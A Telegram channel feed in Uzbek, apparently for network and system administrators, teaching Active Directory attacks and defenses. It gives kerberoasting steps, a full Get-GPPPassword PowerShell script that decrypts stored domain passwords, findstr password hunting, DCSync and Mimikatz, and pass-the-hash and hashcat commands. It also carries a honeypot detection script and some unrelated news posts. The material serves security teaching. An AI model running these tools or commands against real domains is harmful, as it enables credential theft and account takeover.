Cisco and Server
2.21K subscribers
1.32K photos
276 videos
191 files
800 links
Tarmoq administratorligi (Cisco) va Tizim administratorligi (Server)ni biz bilan o'rganing.
Bularning hammasi @cisco_server kanalida...
Adminlar bilan bog'lanish uchun 👉
Serverlar bo'yicha: @uzbekiston_erkatoyi
Cisco bo'yicha: @ciscoucell va @Dream_0044
Download Telegram
Qanday qilib kerberoasting qilamiz?

1. Windowsdan Rubeus orqali SPNlarni yuklab olamiz biror nom ostida.
2. U SPNni olib linuxda oldindan yuklab olgan rockyou parollarimiz orqali SPN parolini brute force qilamiz.
3. Va jarayon tugagandan keyin, xosil bo'lgan fayl ichidan bizga kerakli user va parol bo'ladi.

Mana shunaqa ko'rinishda tarmog'imizdagi AD userlarining login parolini topib ularning nomidan ish qilishimiz mumkin.

Bu post faqat o'qib o'rganish uchun yozildi, Education purpose only!!!

@uzbekona_cisco
@cisco_server
1
🛡 Active Directory'da GPP orqali parolni olish — real xavf!

💡 GPP (Group Policy Preferences) — bu Windows Server’da foydalanuvchilar, xizmatlar va ish jadvalini avtomatlashtirish uchun ishlatiladigan imkoniyat. Lekin… bu imkoniyat orqali parollarni XML faylda shifrlab saqlash mumkin.

📁 Barcha GPP fayllari SYSVOL papkasida saqlanadi:

\\DOMAIN\SYSVOL\DOMAIN\Policies\
😱 Muammo shundaki:

XML fayllarda saqlanadigan parollar AES bilan shifrlangan bo‘lsa-da,

AES kaliti ommaga oshkor bo‘lgan (Microsoft o‘zi nashr qilgan!),

Har qanday "Authenticated User" bu fayllarni erkin o‘qiy oladi.

🔍 Pentester yoki hujumchi bu faylni topadi:


Groups.xml
🔓 So‘ng Get-GPPPassword.ps1 kabi skript orqali shifrlangan parolni ochadi.

📦 Natijada: Domain foydalanuvchisi yoki admin paroli ochiladi.

🔧 Qachon ishlatiladi?
Internal pentest jarayonida

AD tarmog‘ida foydalanuvchi huquqida bo‘lgan kishi privesc qilishda

Lateral movement oldidan maqsadli hisobga kirish uchun

🛡 Himoyalanish:
SYSVOL ichida Groups.xml borligini doimiy monitoring qiling.

GPP orqali parol saqlamang — bu usul deprecated hisoblanadi.

Authenticated Users huquqlarini ko‘rib chiqing.

Yetarlicha Reaksiya komment bo'lsa va faqat ta’limiy maqsadlarda qo‘llanilsa GET-GPPPasword.ps1 skriptini tahsab beraman.

Reaksiyalaringizni kutamiz.

@cisco_server
@uzbekona_cisco
👍111
Mana o'sha vada qilingan Skript

Mazkur kontent faqat ta’limiy maqsadlarda qo‘llani uchun va biz hech qanday noqonuniy ish uchun javobgarlikni o'z bo'ynimizga olmaymiz.

@cisco_server
@uzbekona_cisco biz bilan qoling
function Get-GPPPassword {
<#
.SYNOPSIS

Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION

Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.

.PARAMETER Server

Specify the domain controller to search for.
Default's to the users current domain

.PARAMETER SearchForest

Map all reaschable trusts and search all reachable SYSVOLs.

.EXAMPLE

Get-GPPPassword

NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml

NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml

NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml

.EXAMPLE

Get-GPPPassword -Server EXAMPLE.COM

NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml

NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml

.EXAMPLE

Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!

.LINK

http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$Server = $Env:USERDNSDOMAIN,

[Switch]
$SearchForest
)

# define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)

try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)


switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

# Make sure System.Core is loaded
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}

catch { Write-Error $Error[0] }
}

# helper function to parse fields from xml files
function Get-GPPInnerField {
[CmdletBinding()]
Param (
$File
)

try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)

# check for the cpassword field
if ($Xml.innerxml -match 'cpassword') {

$Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($_.cpassword) {
$Cpassword = $_.cpassword
if ($Cpassword -and ($Cpassword -ne '')) {
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
$Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
}

if ($_.newName) {
$NewName = $_.newName
}

if ($_.userName) {
$UserName = $_.userName
}
elseif ($_.accountName) {
$UserName = $_.accountName
}
elseif ($_.runAs) {
$UserName = $_.runAs
}

try {
$Changed = $_.ParentNode.changed
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
}

try {
$NodeName = $_.ParentNode.ParentNode.LocalName
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
}

if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
🔥1


$GPPPassword = New-Object PSObject
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
$GPPPassword | Add-Member Noteproperty 'Password' $Password
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
$GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
$GPPPassword
}
}
}
}
catch {
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
}
}

# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
function Get-DomainTrust {
[CmdletBinding()]
Param (
$Domain
)

if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
if ($DomainObject) {
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
}

try {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
}
}
}

# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
function Get-DomainTrustMapping {
[CmdletBinding()]
Param ()

# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}

# our domain stack tracker
$Domains = New-Object System.Collections.Stack

try {
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
$CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
}

if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)

while($Domains.Count -ne 0) {

$Domain = $Domains.Pop()

# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {

Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"

# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')


try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
}

try {
$XMLFiles = @()
$Domains = @()

$AllUsers = $Env:ALLUSERSPROFILE
if (-not $AllUsers) {
$AllUsers = 'C:\ProgramData'
}

# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue

if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
$Domains += Get-DomainTrustMapping
}
else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
}

$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique

ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')

if($DomainXMLFiles) {
$XMLFiles += $DomainXMLFiles
}
}

if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }

Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."

ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
}
}

catch { Write-Error $Error[0] }
}
Kompyuteringizning xavfsizligi faylni ochishga yo'l qo'ymasligi va karantinga tiqishi mumkinligi sababli file shaklida bermadik.

@cisco_server
🤝2🔥1
🔐 Active Directory GPO: Xavf va HoneyPot

Guruh Siyosati Ob'ekti (GPO) — bu Active Directory (AD) da tarmoqni boshqarish va foydalanuvchi parametrlarini belgilash uchun ishlatiladigan muhim vosita. GPOlar orqali tashkilotlar xavfsizlik siyosatlari, dasturiy ta'minot o'rnatish va tizim sozlamalarini boshqarishi mumkin.

⚠️ Hujumlar va Xavflar:
GPOlar hujumchilarning maqsadi bo'lishi mumkin. Ular GPOlarni o'zgartirish orqali:

Ruxsatlarni kengaytirish: O'zlariga yoki boshqa foydalanuvchilarga yuqori ruxsatlar berish.
Avtomatik skriptlar qo'shish: Zararli dasturlarni tarmoqda tarqatish.
Tizim sozlamalarini o'zgartirish: Tizimni zaiflashtirish va xavfsizligini pasaytirish.
🌐 HoneyPot Texnologiyasi:
HoneyPot — bu tahdidlarni jalb qilish va kuzatish uchun yaratilgan tizim. GPO o'zgartirilganda, HoneyPot orqali tahdidlarni aniqlash mumkin. Agar GPO o'zgartirilsa, tizim avtomatik ravishda buni qayd etadi va zarur choralarni ko'radi.

📜 Skript Misoli:
Quyidagi PowerShell skripti GPO o'zgartirilganda avtomatik ravishda foydalanuvchilar hisoblarini boshqaradi:

# So'nggi 15 daqiqadagi o'zgarishlarni aniqlash
$TimeSpan = (Get-Date) - (New-TimeSpan -Minutes 15)

# O'zgarishlarni tekshirish
$Logs = Get-WinEvent -FilterHashtable @{LogName='Security';id=5136;StartTime=$TimeSpan} -ErrorAction SilentlyContinue |`
Where-Object {$_.Properties[8].Value -match "CN={73C66DBB-81DA-44D8-BDEF-20BA2C27056D},CN=POLICIES,CN=SYSTEM,DC=EAGLE,DC=LOCAL"}

if($Logs){
$emailBody = "Honeypot GPO '73C66DBB-81DA-44D8-BDEF-20BA2C27056D' o'zgartirildi`r`n"
$disabledUsers = @()
ForEach($log in $logs){
If(((Get-ADUser -identity $log.Properties[3].Value).Enabled -eq $true) -and ($log.Properties[3].Value -notin $disabledUsers)){
Disable-ADAccount -Identity $log.Properties[3].Value
$emailBody = $emailBody + "O'chirilgan foydalanuvchi: " + $log.Properties[3].Value + "`r`n"
$disabledUsers += $log.Properties[3].Value
}
}
# Email orqali xabar yuborish
# Send-MailMessage
$emailBody
}

📩 Xabardorlik:
Ushbu skript GPO o'zgartirilganda, faol foydalanuvchilarni avtomatik ravishda o'chiradi va bu haqda xabar tayyorlaydi. Bu xavfsizlikni ta'minlashda muhim vosita.

Tarmoqingizni himoya qilishda ushbu usullardan foydalaning.

@cisco_server
@uzbekona_cisco
🔥1
🔐 Active Directory-da Parollar Qanday Oshkor Bo‘lishi va Himoya Choralari

Active Directory muhitida parollar va hisob ma’lumotlari ko‘pincha tarmoq ulashmalarida (skriptlar, config fayllar, .bat/.ps1) yoki foydalanuvchilar kompyuterlaridagi hujjatlarda (Word/Excel) saqlanib qoladi. Bularni topish va himoya qilish usullarini o‘rganamiz.

🎯 1. Qanday Qilib Parollar Topiladi?
Avtomatik vositalar:

SauronEye – Fayllardan parol, pass, pw kabi kalit so‘zlarni qidiradi.

PowerView (Invoke-ShareFinder) – Domendagi barcha ulashmalarni skanerlaydi.

Qo‘lda qidirish (Living Off the Land):

cmd
findstr /s /i /m "pass|pw|eagle" *.bat *.ps1 *.conf *.config
/s – Barcha ichki papkalarni qidiradi.

/i – Katta-kichik harflarga ahamiyat bermaydi.

Qidirish uchun kalit so‘zlar: pass, pw, secret, domen nomi (eagle).

⚠️ Eslatma: Windows Defender findstr ni shubhali harakat sifatida aniqlashi mumkin!

🚨 2. Topilgan Parollardan Foydalanish
Ko‘pincha skriptlarda quyidagi formatda parollar bo‘ladi:

cmd
runas /user:DOMAIN\Admin Parol123
net use * \\server\share /user:DOMAIN\User Parol456
Agar ulashmada admin yoki domain admins hisobi paroli topilsa – bu DOMENGA TO‘LIQ KIRISH IMKONI beradi!

🛡 3. Himoya Choralari
🔹 1. Ulashmalarni qulflash:

Har bir papkaga faqat kerakli foydalanuvchilar uchun ruxsat berish.

Everyone yoki Domain Users guruhiga keraksiz ruxsat bermaslik.

🔹 2. Muntazam tekshiruvlar:

Haftasiga 1 marta findstr yoki SauronEye bilan skanerlash.

Yangi ochiq ulashmalarni avtomatik monitoring qilish.

🔹 3. Monitoring va Aniqlash:

Event ID 4624/4625 (Login/logoff) va 4708 (Kerberos TGT so‘rovi) ni kuzatish.

Agar Administrator hisobi g‘ayritabiiy vaqtda kirsa – darhol ogohlantirish.

📌 Xulosa:
🔻 Zaiflik: Parollar tarmoq ulashmalarida, skriptlarda yoki oddiy fayllarda saqlanishi mumkin.
🔻 Hujum: findstr, PowerView yoki SauronEye bilan topish mumkin.
🔻 Himoya: Ruxsatlarni qattiq nazorat qilish + muntazam skanerlash + monitoring.

📢 Ehtiyot bo‘ling! Birorta ochiq parol butun tizimning xavfsizligini putur yetkazishi mumkin.

@cisco_server
@uzbekona_cisco
4
🛑 AD tizimidagi eng ko‘p uchraydigan xatolik: Share ichida parol qoldirish

🔐 Ko‘pchilik ITchilar serverda fayl ulashish (network share) orqali ishlaydi. Lekin eng ko‘p uchraydigan xatolik — skript yoki konfiguratsiya fayllarda parollarni ochiqcha yozib qo‘yish.

---

## 🧨 Qanday holatlar xavfli?

🚫 Share fayllari quyidagicha noto‘g‘ri ochiq bo‘lishi mumkin:

1. "Users" yoki "Everyone" guruhlariga read huquqi berib yuboriladi.
2. Admin test uchun C:\scripts fayliga parol bilan skript joylashtiradi, lekin bu fayl share qilib qo‘yilgan bo‘ladi.
3. Faylni ulashib, keyin uni yopishni unutadi.
4. Foyl nomi oxirida $ belgisi (dev$) bo‘lsa ham, bu yashirin degani emas. Tajribali foydalanuvchi baribir uni ko‘ra oladi.

---

## 🔎 Hujum qanday ishlaydi?

1. Tarmoqdagi barcha umumiy papkalarni topish:

Invoke-ShareFinder -domain yourdomain.local -ExcludeStandard -CheckShareAccess


2. Share papkalarga kirib, pass, pw, yoki domen nomi (eagle, corp, htb) so‘zlarini qidirish:

findstr /s /i /m "pass" *.ps1
findstr /s /i /m "pw" *.config
findstr /s /i /m "eagle" *.bat


3. Misol:

net use E: \\DC1\sharedScripts /user:eagle\Administrator Slavi123


👉 Bu parol ochiq ko‘rinmoqda!

---

## 🛡 Qanday oldini olish mumkin?

Har bir share papkani ruxsatlari bilan tekshiring
Fayllarda hech qachon parolni yozib qoldirmang
Maxsus skriptlar uchun service account oching
Har haftalik scan yoki audit o‘tkazing
$ bilan tugagan share’lar ham yashirin emas!

---

## 📈 Qanday aniqlanadi (deteksiya)?

SIEM yoki Event Viewer orqali quyidagi loglar aniqlanadi:

* 4624 – Muvaffaqiyatli login
* 4625 – Login muvaffaqiyatsiz (parol noto‘g‘ri)
* 4768 – Kerberos TGT so‘raldi

🕵️ Misol:

Event 4625: Login failed for user svc-iis from IP 172.16.18.20


---

## 🎯 Honeypot usuli bilan himoya

* Soxta service account (svc-mssql) yarating
* Unga noto‘g‘ri parol yozilgan skript qoldiring
* Agar unga nisbatan login urinish bo‘lsa (4625/4771/4776) — ogohlantirish bering

---

📌 Xulosa:

> Bugungi kunda hujumchilar parollarni brute-force bilan emas, aynan siz qoldirgan fayllardan topyapti! Share ichidagi skriptlar va fayllarni tekshiring, parol yozmang, audit yuriting!
👍21
This media is not supported in your browser
VIEW IN TELEGRAM
Butun dunyo endi 6-augustni kutishni boshladi.
Siz hammi?

@cisco_server
@uzbekona_cisco
1🔥1🤔1🤯1
SearchUser.ps1.txt
862 B
🛡 AD’da Parol Siz o‘ylagandan oson topiladi!
🖥 Active Directory foydalanuvchi obyektlari ko‘plab xususiyatlarga ega:

🔹 Foydalanuvchi nomi
🔹 Hisob faolligi
🔹 Parol oxirgi marta qachon o‘zgartirilgani
🔹 Office manzili, telefon raqami
🔹 Description yoki Info maydonlari...

❗️ Lekin muammo shunda: Adminlar ushbu maydonlarga foydalanuvchi parollarini yozib qo‘ygan holatlar ko‘p!

⚠️ Xavfli Odat:
Ba’zi adminlar ilgari Description yoki Info maydoniga parollarni ochiq matnda kiritishgan. Ular bu ma’lumotlarni faqat adminlar ko‘radi deb o‘ylashgan. Ammo...

🛑 Har qanday domain foydalanuvchi bu maydonlarni ko‘ra oladi! Bu esa parolni oddiy skript bilan topishga imkon beradi.

🧑‍💻 Hujum namunasida:
Oddiy PowerShell skript orqali Description va Info maydonlari tekshiriladi:


SearchUserClearTextInformation -Terms "pass"
🕵️‍♂️ Natijada Description maydonida quyidagi ma’lumot topilgan:


SamAccountName : bonni
Description : pass: Slavi123

Nima qilish kerak?
🔸 1. Audit va tekshiruvlar — AD’dagi obyektlarni avtomatik tekshiring.
🔸 2. Hodimlarni o‘qiting — Parollarni noto‘g‘ri joyda saqlamaslikni tushuntiring.
🔸 3. Avtomatlashtirish — Qo‘lda hisob yaratishni kamaytiring.
🔸 4. Kuzatuv vositalari — Admin va servis akkauntlarining xatti-harakatlarini monitoring qiling.

📌 Eslatma: AD’da foydalanuvchi obyekti o‘zgartirilganda (Event ID 4738) qaysi maydon o‘zgartirilgani yozilmaydi. Shu sababli vaqtida audit qilish va noto‘g‘ri amaliyotlarni to‘xtatish muhim.

🧠 Sizning tarmog‘ingizda ham bu kabi parollar yashirin emasmi?

🔐 Tekshiring. Hozirning o‘zida.

Qanday tekshiraman deysizmi?
Yuqorida yuklangan faylni ochib uni powershellga tashlang va orqalidan rasmda yozilgan komandani yozib tekshirib olishingiz mumkin.

@cisco_server
@uzbekona_cisco
🔥31
### 🛑 DCSync Hujumi Nima?

DCSync — bu Active Directory’dagi parol xeshlarini olish uchun ishlatiladigan xavfli hujum turi.

Ushbu hujumda hujumchi o‘zini Domain Controller (domen nazoratchisi) deb ko‘rsatib, replikatsiya (nusxalash) orqali boshqa foydalanuvchilarning (hatto adminlarning) parol xeshlarini tortib oladi.

---

### ⚙️ Qanday Ishlaydi?

Hujumchi quyidagi ruxsatlarga ega bo‘lsa, DCSync hujumini amalga oshira oladi:

- Replicating Directory Changes
- Replicating Directory Changes All

Bu huquqlar orqali u NTLM va Kerberos parol xeshlarini olish imkoniga ega bo‘ladi.

---

### 🎯 Nimasi xavfli?

- Parol ochiq ko‘rinmaydi, lekin xeshni olish orqali uni crack (parolni buzish) qilish mumkin.
- DCSync yordamida hatto Domain Admin bo‘lish mumkin.

---

### 🛡 Qanday oldini olish mumkin?

- Faqat kerakli hisoblargagina replikatsiya ruxsatlarini bering.
- DS-Replication-Get-Changes huquqlarini monitoring qiling.
- Mimikatz kabi vositalarga qarshi himoya o‘rnatilganini tekshiring.
- Rejalashtirilgan audit va xavfsizlik monitoringini yoqing.

Mimikatz — bu ochiq kodli (open-source) va mashhur bo‘lgan xavfsizlik vositasi bo‘lib, u Windows operatsion tizimida maxfiy ma’lumotlar, ayniqsa parollarni olish uchun ishlatiladi.

---

### 🔍 Mimikatz nima qila oladi?

Mimikatz yordamida quyidagilarni qilish mumkin:

- 🗝 RAM ichidan parollarni yoki ularning xeshlarini olish
- 🔑 Kerberos chiptalarini o‘g‘irlash yoki soxtalashtirish (Pass-the-Ticket)
- 🪪 NTLM xeshlari bilan tizimga kirish (Pass-the-Hash)
- 🧠 LSASS (Local Security Authority) jarayonidan ma’lumot tortish
- 🧪 DCSync hujumi orqali parol xeshlarini replikatsiya qilish


Shunday qilib hashni qo'lga kiritamiz.
endi keyingi postda qanday qilib hash dan foydalanishni ko'ramiz

@cisco_server
@uzbekona_cisco
Parol xeshlarini (hashlarini) qoʻlga kiritgandan soʻng ulardan ikki xil asosiy maqsadda foydalanish mumkin:

1️⃣ Pass-the-Hash (PTH) Hujumi – Parolni bilmasdan tizimga kirish
🧠 Nima bo‘ladi?
Siz parolni ochmagan bo‘lasiz, faqat NTLM hash sizda mavjud bo‘ladi.

Ushbu hashni to‘g‘ridan-to‘g‘ri Windows tizimlariga autentifikatsiya qilishda ishlatasiz.

Bu hujumda siz “parolni buzmayapsiz”, balki xuddi parol bordek foydalanasiz.

⚙️ Qanday ishlatiladi?
Linuxda:


pth-winexe -U 'domain\username%NTLM_HASH' //target_ip cmd
Yoki Windowsda Mimikatz orqali:


sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe
2️⃣ Offline Crack qilish (hashni buzish) – Parolni ochish
🧠 Maqsad:
Xeshni tahlil qilib, asl parolni aniqlash.

⚙️ Qanday vositalar kerak bo‘ladi?
🛠 Hashcat yoki John the Ripper
Masalan, hashcat bilan NTLM xeshni bruteforce qilish:


hashcat -m 1000 hash.txt wordlist.txt
🔢 -m 1000 → bu NTLM xesh turi.

📄 hash.txt → ichida xeshlar bor fayl
📖 wordlist.txt → parol taxminlari ro‘yxati (masalan, rockyou.txt)

❗️E'tiborli jihatlar:
Pass-the-Hash ishlashi uchun maqsadli tizim NTLM autentifikatsiyasini qabul qilishi kerak.

Crack qilish uzoq vaqt olishi mumkin, ayniqsa parol murakkab bo‘lsa.

Bu usullar faqat test/laboratoriya muhitida yoki ruxsat bilan pentest doirasida ishlatilishi kerak.

@cisco_server
@uzbekona_cisco
👍1
🛑 Windows 10 Qo‘llab-Quvvatlashi To‘xtatilmoqda! 🛑

📅 2025-yil 14-oktabrdan boshlab, Microsoft Windows 10 operatsion tizimi uchun rasmiy qo‘llab-quvvatlashni to‘xtatadi.

🎯 Bu nimani anglatadi?

Hech qanday xavfsizlik yangilanishlari bo‘lmaydi

Yangi funksiyalar qo‘shilmaydi

Texnik yordam ko‘rsatilmaydi

⚠️ Sizning kompyuteringiz xavfsizlik xatarlariga ochiq bo‘lishi mumkin!

🔁 Nima qilish kerak?
Windows 11 yoki boshqa zamonaviy operatsion tizimga o‘tishni rejalashtiring
Muhim fayllaringizni zaxiralang
Qurilmangizni yangilanishlarga tayyor holatga keltiring

📌 Bu haqda ko‘proq ma’lumot olish uchun Microsoft rasmiy saytiga tashrif buyuring yoki IT mutaxassisingiz bilan bog‘laning.

@cisco_server
@uzbekona_cisco
2👍2
❗️ Diplomlar endi yetarli emas! Ish bozorida yangi davr boshlanmoqda

So‘nggi tadqiqotlar shuni ko‘rsatadiki, o‘qimishli va diplomga ega ishchilar bilan diplomsizlar o‘rtasidagi ishga kirish tezligi deyarli tenglashmoqda! 2025-yilda bu farq atigi 0,9 foiz punktni tashkil etishi kutilmoqda.

Shuningdek, o‘qimishli ishchilar orasida ish topishda qiyinchiliklar ham ko‘paymoqda.

Hozirgi kompaniyalar yangi xodimlarni tanlashda endi faqat diplom yoki tavsiya xatlariga emas, balki amalga oshirilgan ko‘nikmalar va test natijalariga e’tibor qaratmoqda.

🔍 Siz ham o‘z ko‘nikmalaringizni rivojlantiring, hozirgi ish bozorida muvaffaqiyatga erishing!

Prezidentimiz 4-yil oldin aytgan gaplari o'z tasdiqini topdi:
https://qalampir.uz/uz/news/hozir-diplom-mutlaqo-kerak-emas-shavkat-mirziyeev-47394

@cisco_server
👍2🔥1
📢 AI injener Zuckerberg’ning $1.25 milliardlik offeriga rad javob berdi!

💰 Meta asoschisi Mark Zuckerberg Abel startapidagi neyroset muhandisini jamoasiga qo‘shmoqchi bo‘ldi.

🔁 Taklif:
🧾 4 yillik kontrakt
💵 Yiliga $312 million maosh, bu tahminan kuniga 1mln$ degani 🤯
📈 Jami: $1.25 MILLIARD!

Javob: Yo‘q, rahmat!

🧠 Aniq sabab aytilmagan, lekin bu — AI dunyosidagi eng katta va ochiq e’lon qilingan offerlardan biri.

😎 Siz nima deb o‘ylaysiz:
💸 Pul emas, imkoniyat muhimmi?
📊 Yoki bu IT olamida yangi "transfer bozori" davrining boshlanishimi?

📬 Yana shunaqa yangiliklar uchun kanalga ulaning: @cisco_server
🤯4